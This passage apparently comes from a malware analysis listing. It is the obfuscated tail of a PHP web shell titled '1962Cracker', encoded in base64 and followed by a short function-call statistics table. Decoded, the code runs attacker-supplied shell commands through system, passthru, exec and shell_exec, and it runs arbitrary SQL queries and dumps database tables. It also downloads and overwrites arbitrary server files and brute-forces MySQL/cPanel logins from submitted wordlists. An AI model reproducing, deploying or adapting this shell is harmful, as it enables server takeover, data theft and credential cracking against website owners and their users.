1TU1FMJzogJHRoaXMtPm51bV9yb3dzPUBtc3NxbF9udW1fcm93cygkdGhpcy0+cmVzKTsgJHRoaXMtPm51bV9maWVsZHM9QG1zc3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7IHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBtc3NxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOyBAbXNzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7IGlmKCR0aGlzLT5udW1fcm93cykNCgkgew0KCSR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQoJOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6ICR0aGlzLT5udW1fcm93cz1AcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7ICR0aGlzLT5udW1fZmllbGRzPUBwZ19udW1fZmllbGRzKCR0aGlzLT5yZXMpOyB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAcGdfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsgQHBnX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOyBpZigkdGhpcy0+bnVtX3Jvd3MpDQoJIHsNCgkkdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KCSBicmVhazsgY2FzZSAnT3JhY2xlJzogJHRoaXMtPm51bV9maWVsZHM9QG9jaW51bWNvbHMoJHRoaXMtPnJlcyk7IHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBvY2lfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKSAkdGhpcy0+bnVtX3Jvd3MrKzsgQG9jaWZyZWVzdGF0ZW1lbnQoJHRoaXMtPnJlcyk7IGlmKCR0aGlzLT5udW1fcm93cykNCgkgew0KCSR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQoJIGJyZWFrOyB9DQoJIHJldHVybiAwOyB9DQoJIGZ1bmN0aW9uIGR1bXAoJHRhYmxlKSANCgkgew0KCSBpZihlbXB0eSgkdGFibGUpKSByZXR1cm4gMDsgJHRoaXMtPmR1bXA9YXJyYXkoKTsgJHRoaXMtPmR1bXBbMF0gPSAnIyMnOyAkdGhpcy0+ZHVtcFsxXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsgJHRoaXMtPmR1bXBbMl0gPSAnIyMgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7ICR0aGlzLT5kdW1wWzNdID0gJyMjIERhdGFiYXNlOiAnLiR0aGlzLT5iYXNlOyAkdGhpcy0+ZHVtcFs0XSA9ICcjIyAgICBUYWJsZTogJy4kdGFibGU7ICR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOyBzd2l0Y2goJHRoaXMtPmRiKSANCgkgew0KCSBjYXNlICdNeVNRTCc6ICR0aGlzLT5kdW1wWzBdID0gJyMjIE15U1FMIGR1bXAnOyBpZigkdGhpcy0+cXVlcnkoJy8qJy5jaHIoMCkuJyovIFNIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOyAkdGhpcy0+ZHVtcFtdID0gJHRoaXMtPnJvd3NbMF1bJ0NyZWF0ZSBUYWJsZSddLiI7IjsgJHRoaXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOyBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykgDQoJIHsNCgkgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSANCgkgew0KCSR0aGlzLT5yb3dzWyRpXVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQoJICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIChgJy5AaW1wbG9kZSgiYCwgYCIsICR0aGlzLT5jb2x1bW5zKS4nYCkgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsgfQ0KCSBicmVhazsgY2FzZSAnTVNTUUwnOiAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNU1NRTCBkdW1wJzsgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7IGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspIA0KCSB7DQoJIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgDQoJIHsNCgkkdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCgkgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOyB9DQoJIGJyZWFrOyBjYXNlICdQb3N0Z3JlU1FMJzogJHRoaXMtPmR1bXBbMF0gPSAnIyMgUG9zdGdyZVNRTCBkdW1wJzsgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7IGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspIA0KCSB7DQoJIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgDQoJIHsNCgkkdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCgkgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOyB9DQoJIGJyZWFrOyBjYXNlICdPcmFjbGUnOiAkdGhpcy0+ZHVtcFswXSA9ICcjIyBPUkFDTEUgZHVtcCc7ICR0aGlzLT5kdW1wW10gPSAnIyMgdW5kZXIgY29uc3RydWN0aW9uJzsgYnJlYWs7IGRlZmF1bHQ6IHJldHVybiAwOyBicmVhazsgfQ0KCSByZXR1cm4gMTsgfQ0KCSBmdW5jdGlvbiBjbG9zZSgpIA0KCSB7DQoJIHN3aXRjaCgkdGhpcy0+ZGIpIA0KCSB7DQoJIGNhc2UgJ015U1FMJzogQG15c3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsgYnJlYWs7IGNhc2UgJ01TU1FMJzogQG1zc3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiBAcGdfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyBicmVhazsgY2FzZSAnT3JhY2xlJzogQG9jaV9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7IGJyZWFrOyB9DQoJIH0NCgkgZnVuY3Rpb24gYWZmZWN0ZWRfcm93cygpIA0KCSB7DQoJIHN3aXRjaCgkdGhpcy0+ZGIpIA0KCSB7DQoJIGNhc2UgJ015U1FMJzogcmV0dXJuIEBteXNxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOyBicmVhazsgY2FzZSAnTVNTUUwnOiByZXR1cm4gQG1zc3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7IGJyZWFrOyBjYXNlICdQb3N0Z3JlU1FMJzogcmV0dXJuIEBwZ19hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOyBicmVhazsgY2FzZSAnT3JhY2xlJzogcmV0dXJuIEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKTsgYnJlYWs7IGRlZmF1bHQ6IHJldHVybiAwOyBicmVhazsgfQ0KCSB9DQoJIH0NCgkgaWYoIWVtcHR5KCRfUE9TVFsnY2NjYyddKSAmJiAkX1BPU1RbJ2NjY2MnXT09ImRvd25sb2FkX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2RfbmFtZSddKSkgDQoJIHsNCgkgaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2RfbmFtZSddLCJyIikpIA0KCSB7DQoJIGVycigxLCRfUE9TVFsnZF9uYW1lJ10pOyAkX1BPU1RbJ2NjY2MnXT0iIjsgfQ0KCSBlbHNlIA0KCSB7DQoJIEBvYl9jbGVhbigpOyAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydkX25hbWUnXSk7ICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydkX25hbWUnXSkpOyBmY2xvc2UoJGZpbGUpOyAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOyBjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7IGlmICghZW1wdHkoJGNvbnRlbnRfZW5jb2RpbmcpKSANCgkgew0KCSBoZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6ICcgLiAkY29udGVudF9lbmNvZGluZyk7IH0NCgkgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJG1pbWVfdHlwZSk7IGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCI7Iik7IGVjaG8gJGZpbGVkdW1wOyBleGl0KCk7IH0NCgkgfQ0KCSBpZihpc3NldCgkX0dFVFsncGhwaW5mbyddKSkgDQoJIHsNCgkgZWNobyBAcGhwaW5mbygpOyBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsgfQ0KCSBpZiAoIWVtcHR5KCRfUE9TVFsnY2NjYyddKSAmJiAkX1BPU1RbJ2NjY2MnXT09ImRiX3F1ZXJ5IikgDQoJIHsNCgkgZWNobyAkaGVhZDsgJHNxbCA9IG5ldyBteV9zcWwoKTsgJHNxbC0+ZGIgPSAkX1BPU1RbJ2RiJ107ICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOyAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107ICRzcWwtPnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsgJHNxbC0+cGFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOyAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOyAkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRfUE9TVFsnZGJfcXVlcnknXSk7IGVjaG8gJzxib2R5IGJnY29sb3I9I2U0ZTBkOD4nOyBpZighJHNxbC0+Y29ubmVjdCgpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L2Rpdj4iOyBlbHNlIA0KCSB7DQoJIGlmKCFlbXB0eSgkc3FsLT5iYXNlKSYmISRzcWwtPnNlbGVjdF9kYigpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L2Rpdj4iOyBlbHNlIA0KCSB7DQoJIGZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpIA0KCSB7DQoJIGlmKHN0cmxlbigkcXVlcnkpPjUpIA0KCSB7DQoJIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPWdyZWVuPjxiPlF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvZm9udD48YnI+Ijsgc3dpdGNoKCRzcWwtPnF1ZXJ5KCRxdWVyeSkpIA0KCSB7DQoJIGNhc2UgJzAnOiBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPkVycm9yIDogPGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iOyBicmVhazsgY2FzZSAnMSc6IGlmKCRzcWwtPmdldF9yZXN1bHQoKSkgDQoJIHsNCgkgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+IjsgZm9yZWFjaCgkc3FsLT5jb2x1bW5zIGFzICRrPT4kdikgJHNxbC0+Y29sdW1uc1ska10gPSBodG1sc3BlY2lhbGNoYXJzKCR2LEVOVF9RVU9URVMpOyAka2V5cyA9IEBpbXBsb2RlKCImbmJzcDs8L2I+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9IzgwMDAwMD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4mbmJzcDsiLCAkc3FsLT5jb2x1bW5zKTsgZWNobyAiPHRyPjx0ZCBiZ2NvbG9yPSM4MDAwMDA+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jm5ic3A7Ii4ka2V5cy4iJm5ic3A7PC9iPjwvZm9udD48L3RkPjwvdHI+IjsgZm9yKCRpPTA7JGk8JHNxbC0+bnVtX3Jvd3M7JGkrKykgDQoJIHsNCgkgZm9yZWFjaCgkc3FsLT5yb3dzWyRpXSBhcyAkaz0+JHYpICRzcWwtPnJvd3NbJGldWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7ICR2YWx1ZXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOyIsJHNxbC0+cm93c1skaV0pOyBlY2hvICc8dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOycuJHZhbHVlcy4nJm5ic3A7PC9mb250PjwvdGQ+PC90cj4nOyB9DQoJIGVjaG8gIjwvdGFibGU+IjsgfQ0KCSBicmVhazsgY2FzZSAnMic6ICRhciA9ICRzcWwtPmFmZmVjdGVkX3Jvd3MoKT8oJHNxbC0+YWZmZWN0ZWRfcm93cygpKTooJzAnKTsgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5hZmZlY3RlZCByb3dzIDogPGI+Ii4kYXIuIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7IGJyZWFrOyB9DQoJIH0NCgkgfQ0KCSB9DQoJIH0NCgkgZWNobyAiPGJyPjx0aXRsZT4xOTYyQ3JhY2tlciBCeSBBa3JhbSBTdGVsbGU8L3RpdGxlPjxmb3JtIG5hbWU9Zm9ybSBtZXRob2Q9UE9TVD4iOyANCgkgZWNobyBpbignaGlkZGVuJywnZGInLDAsJF9QT1NUWydkYiddKTsgZWNobyBpbignaGlkZGVuJywnZGJfc2VydmVyJywwLCRfUE9TVFsnZGJfc2VydmVyJ10pOyBlY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsgZWNobyBpbignaGlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7IGVjaG8gaW4oJ2hpZGRlbicsJ215c3FsX3AnLDAsJF9QT1NUWydteXNxbF9wJ10pOyBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOyBlY2hvIGluKCdoaWRkZW4nLCdjY2NjJywwLCdkYl9xdWVyeScpOyANCgkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+IjsgZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+QmFzZTogPC9iPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1teXNxbF9kYiB2YWx1ZT1cIiIuJHNxbC0+YmFzZS4iXCI+PC9mb250Pjxicj4iOyBlY2hvICI8dGV4dGFyZWEgY29scz02NSByb3dzPTEwIG5hbWU9ZGJfcXVlcnk+Ii4oIWVtcHR5KCRfUE9TVFsnZGJfcXVlcnknXSk/KCRfUE9TVFsnZGJfcXVlcnknXSk6KCJTSE9XIERBVEFCQVNFUztcblNFTEVDVCAqIEZST00gdXNlcjsiKSkuIjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBSdW4gU1FMIHF1ZXJ5IFwiPjwvZGl2Pjxicj48YnI+IjsgZWNobyAiPC9mb3JtPiI7IGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOyB9DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KCWZ1bmN0aW9uIGNjbW1kZCgkY2NtbWRkMiwkYXR0KQ0KCXsNCglnbG9iYWwgJGNjbW1kZDIsJGF0dDsNCgllY2hvICcNCgk8dGFibGUgc3R5bGU9IndpZHRoOiAxMDAlIiBjbGFzcz0ic3R5bGUxIiBkaXI9InJ0bCI+DQoJCTx0cj4NCgkJCTx0ZCBjbGFzcz0ic3R5bGU5Ij48c3Ryb25nPj8/P0g/L3N0cm9uZz48L3RkPg0KCQk8L3RyPg0KCQk8dHI+DQoJCQk8dGQgY2xhc3M9InN0eWxlMTMiPg0KCQkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiPg0KCQkJCQkJPHNlbGVjdCBuYW1lPSJhdHQiIGRpcj0icnRsIiBzdHlsZT0iaGVpZ2h0OiAxMDlweCIgc2l6ZT0iNiI+DQoJJzsNCglpZigkX1BPU1RbJ2F0dCddPT1udWxsKQ0KCXsNCgllY2hvICcJCQkJCQk8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iIHNlbGVjdGVkPSIiPnN5c3RlbTwvb3B0aW9uPic7DQoJfWVsc2V7DQoJZWNobyAiCQkJCQkJPG9wdGlvbiB2YWx1ZT0nJF9QT1NUW2F0dF0nIHNlbGVjdGVkPScnPiRfUE9TVFthdHRdPC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT1zeXN0ZW0+c3lzdGVtPC9vcHRpb24+DQoJIjsNCg0KCQkJCQkJCQ0KCX0NCg0KCWVjaG8gJw0KCQkJCQkJCTxvcHRpb24gdmFsdWU9InBhc3N0aHJ1Ij5wYXNzdGhydTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9ImV4ZWMiPmV4ZWM8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSJzaGVsbF9leGVjIj5zaGVsbF9leGVjPC9vcHRpb24+CQ0KCQkJCQkJPC9zZWxlY3Q+DQoJCQkJCQkJPGlucHV0IG5hbWU9InBhZ2UiIHZhbHVlPSJjY21tZGQiIHR5cGU9ImhpZGRlbiI+PGJyPg0KCQkJCQkJCTxpbnB1dCBkaXI9Imx0ciIgbmFtZT0iY2NtbWRkMiIgc3R5bGU9IndpZHRoOiAxNzNweCIgdHlwZT0idGV4dCIgdmFsdWU9Iic7aWYoISRfUE9TVFsnY2NtbWRkMiddKXtlY2hvICdkaXInO31lbHNle2VjaG8gJF9QT1NUWydjY21tZGQyJ107fWVjaG8gJyI+PGJyPg0KCQkJCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI/Pz8+DQoJCQkJCTwvZm9ybT4NCgkJCQ0KCQkJPC90ZD4NCgkJPC90cj4NCgkJPHRyPg0KCQkJPHRkIGNsYXNzPSJzdHlsZTEzIj4NCgknOw0KDQoJCQlpZigkX1BPU1RbYXR0XT09J3N5c3RlbScpDQoJCQl7DQoJZWNobyAnDQoJCQkJCQk8dGV4dGFyZWEgZGlyPSJsdHIiIG5hbWU9IlRleHRBcmVhMSIgc3R5bGU9IndpZHRoOiA3NDVweDsgaGVpZ2h0OiAyMDRweCI+JzsNCgkJCQkJCXN5c3RlbSgkX1BPU1RbJ2NjbW1kZDInXSk7DQoJZWNobyAnCQkJCQk8L3RleHRhcmVhPic7DQoNCg0KCQkJfQ0KDQoJCQlpZigkX1BPU1RbYXR0XT09J3Bhc3N0aHJ1JykNCgkJCXsNCgllY2hvICcNCgkJCQkJCTx0ZXh0YXJlYSBkaXI9Imx0ciIgbmFtZT0iVGV4dEFyZWExIiBzdHlsZT0id2lkdGg6IDc0NXB4OyBoZWlnaHQ6IDIwNHB4Ij4nOw0KCQkJCQkJcGFzc3RocnUoJF9QT1NUWydjY21tZGQyJ10pOw0KCWVjaG8gJwkJCQkJPC90ZXh0YXJlYT4nOw0KDQoNCgkJCX0NCg0KCQkJDQoNCg0KDQoJCQlpZigkX1BPU1RbYXR0XT09J2V4ZWMnKQ0KCQkJew0KDQoJZWNobyAnCQkJCQk8dGV4dGFyZWEgZGlyPSJsdHIiIG5hbWU9IlRleHRBcmVhMSIgc3R5bGU9IndpZHRoOiA3NDVweDsgaGVpZ2h0OiAyMDRweCI+JzsNCgkJCQkJCWV4ZWMoJF9QT1NUWydjY21tZGQyJ10sJHJlcyk7DQoJCQkJCWVjaG8gJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsgCQkJCQ0KCWVjaG8gJwkJCQkJPC90ZXh0YXJlYT4nOw0KDQoNCgkJCX0NCg0KDQoNCg0KDQoNCg0KCQkJaWYoJF9QT1NUW2F0dF09PSdzaGVsbF9leGVjJykNCgkJCXsNCg0KCWVjaG8gJwkJCQkJPHRleHRhcmVhIGRpcj0ibHRyIiBuYW1lPSJUZXh0QXJlYTEiIHN0eWxlPSJ3aWR0aDogNzQ1cHg7IGhlaWdodDogMjA0cHgiPic7DQoJCQkJCWVjaG8Jc2hlbGxfZXhlYygkX1BPU1RbJ2NjbW1kZDInXSk7DQoJZWNobyAnCQkJCQk8L3RleHRhcmVhPic7DQoNCg0KCQkJfQ0KCWVjaG8gJwkJDQoJCQk8L3RkPg0KCQk8L3RyPg0KCTwvdGFibGU+DQoJJzsNCg0KCWV4aXQ7DQoJfQ0KDQoJaWYoJF9QT1NUWydwYWdlJ109PSdlZGl0JykNCgl7DQoNCgkkY29kZT1Ac3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJF9QT1NUWydjb2RlJ10pOw0KCSRjb2RlPUBzdHJfcmVwbGFjZSgnXFwnLCcnLCRjb2RlKTsNCgkkZnAgPSBmb3BlbigkcGF0aGNsYXNzLCAndycpOw0KCWZ3cml0ZSgkZnAsIiRjb2RlIik7DQoJZmNsb3NlKCRmcCk7DQoJZWNobyAiPGNlbnRlcj48Yj5PSyBFZGl0PGJyPjxicj48YnI+PGJyPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IjsNCglleGl0Ow0KCX0JDQoNCg0KDQoNCg0KDQoNCgkJaWYoJF9QT1NUWydwYWdlJ109PSdzaG93JykNCgkJew0KCQkkcGF0aGNsYXNzID0kX1BPU1RbJ3BhdGhjbGFzcyddOw0KCWVjaG8gJw0KCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFnZSIgdmFsdWU9ImVkaXQiPg0KCSc7DQoJCQ0KCQkkc2FoYWNrZXIgPSBmb3BlbigkcGF0aGNsYXNzLCAicmIiKTsNCgllY2hvICc8Y2VudGVyPicuJHBhdGhjbGFzcy4nPGJyPjx0ZXh0YXJlYSBkaXI9Imx0ciIgbmFtZT0iY29kZSIgc3R5bGU9IndpZHRoOiA4NDVweDsgaGVpZ2h0OiA0MDRweCI+JzsJDQoJJGNvZGUgPSBmcmVhZCgkc2FoYWNrZXIsIGZpbGVzaXplKCRwYXRoY2xhc3MpKTsNCgllY2hvICRjb2RlID1odG1sc3BlY2lhbGNoYXJzKCRjb2RlKTsNCgllY2hvICc8L3RleHRhcmVhPic7CQ0KCQlmY2xvc2UoJHNhaGFja2VyKTsNCgllY2hvICcNCgk8YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhdGhjbGFzcyIgdmFsdWU9IicuJHBhdGhjbGFzcy4nIiBzdHlsZT0id2lkdGg6IDQ0NXB4OyI+DQoJPGJyPjxzdHJvbmc+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImVkaXQgZmlsZSI+DQoJPC9mb3JtPg0KCSc7DQoJCQlleGl0Ow0KCQl9DQoNCg0KDQoNCgkJaWYoJF9QT1NUWydwYWdlJ109PSdjY21tZGQnKQ0KCQl7DQoJCWVjaG8gY2NtbWRkKCRjY21tZGQyLCRhdHQpOw0KCQlleGl0Ow0KCQl9DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoJaWYoJF9QT1NUWydwYWdlJ109PSdmaW5kJykNCgl7DQoJaWYoaXNzZXQoJF9QT1NUWyd1c2VybmFtZXMnXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzd29yZHMnXSkpDQoJew0KCQkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ3Bhc3N3ZCcpew0KCQkJCQkkZSA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3VzZXJuYW1lcyddKTsNCgkJCQkJZm9yZWFjaCgkZSBhcyAkdmFsdWUpew0KCQkJCQkkayA9IGV4cGxvZGUoIjoiLCR2YWx1ZSk7DQoJCQkJCSR1c2VybmFtZSAuPSAka1snMCddLiIgIjsNCgkJCQkJfQ0KCQkJfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnc2ltcGxlJyl7DQoJCQkJCSR1c2VybmFtZSA9IHN0cl9yZXBsYWNlKCJcbiIsJyAnLCRfUE9TVFsndXNlcm5hbWVzJ10pOw0KCQkJfQ0KCQkJJGExID0gZXhwbG9kZSgiICIsJHVzZXJuYW1lKTsNCgkJCSRhMiA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3Bhc3N3b3JkcyddKTsNCgkJCSRpZDIgPSBjb3VudCgkYTIpOw0KCQkJJG9rID0gMDsNCgkJCWZvcmVhY2goJGExIGFzICR1c2VyICkNCgkJCXsNCgkJCQkJaWYoJHVzZXIgIT09ICcnKQ0KCQkJCQl7DQoJCQkJCSR1c2VyPXRyaW0oJHVzZXIpOw0KCQkJCQkgZm9yKCRpPTA7JGk8PSRpZDI7JGkrKykNCgkJCQkJIHsNCgkJCQkJCQkkcGFzcyA9IHRyaW0oJGEyWyRpXSk7DQoJCQkJCQkJaWYoQG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCcsJHVzZXIsJHBhc3MpKQ0KCQkJCQkJCXsNCgkJCQkJCQkJCWVjaG8gIjE5NjJDcmFja2VyfiB1c2VyIGlzID09PiAoPGI+PGZvbnQgY29sb3I9Z3JlZW4+JHVzZXI8L2ZvbnQ+PC9iPikgUGFzc3dvcmQgaXMgPT0+ICg8Yj48Zm9udCBjb2xvcj1yZWQ+JHBhc3M8L2ZvbnQ+PC9iPik8YnIgLz4iOw0KCQkJCQkJCQkJJG9rKys7DQoJCQkJCQkJfQ0KCQkJCQkgfQ0KCQkJCQl9DQoJCQl9DQoJCQllY2hvICI8aHI+PGI+WW91IEZvdW5kIDxmb250IGNvbG9yPWdyZWVuPiRvazwvZm9udD4gY1BhbmVsICgxOTYyQ3JhY2tlcik8L2I+IjsNCgkJCWVjaG8gIjxjZW50ZXI+PGI+PGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+PH4gQkFDSzwvYT4iOw0KCQkJZXhpdDsNCgl9DQoJfQ0K")); ?>
Function Calls
| base64_decode | 1 |
Stats
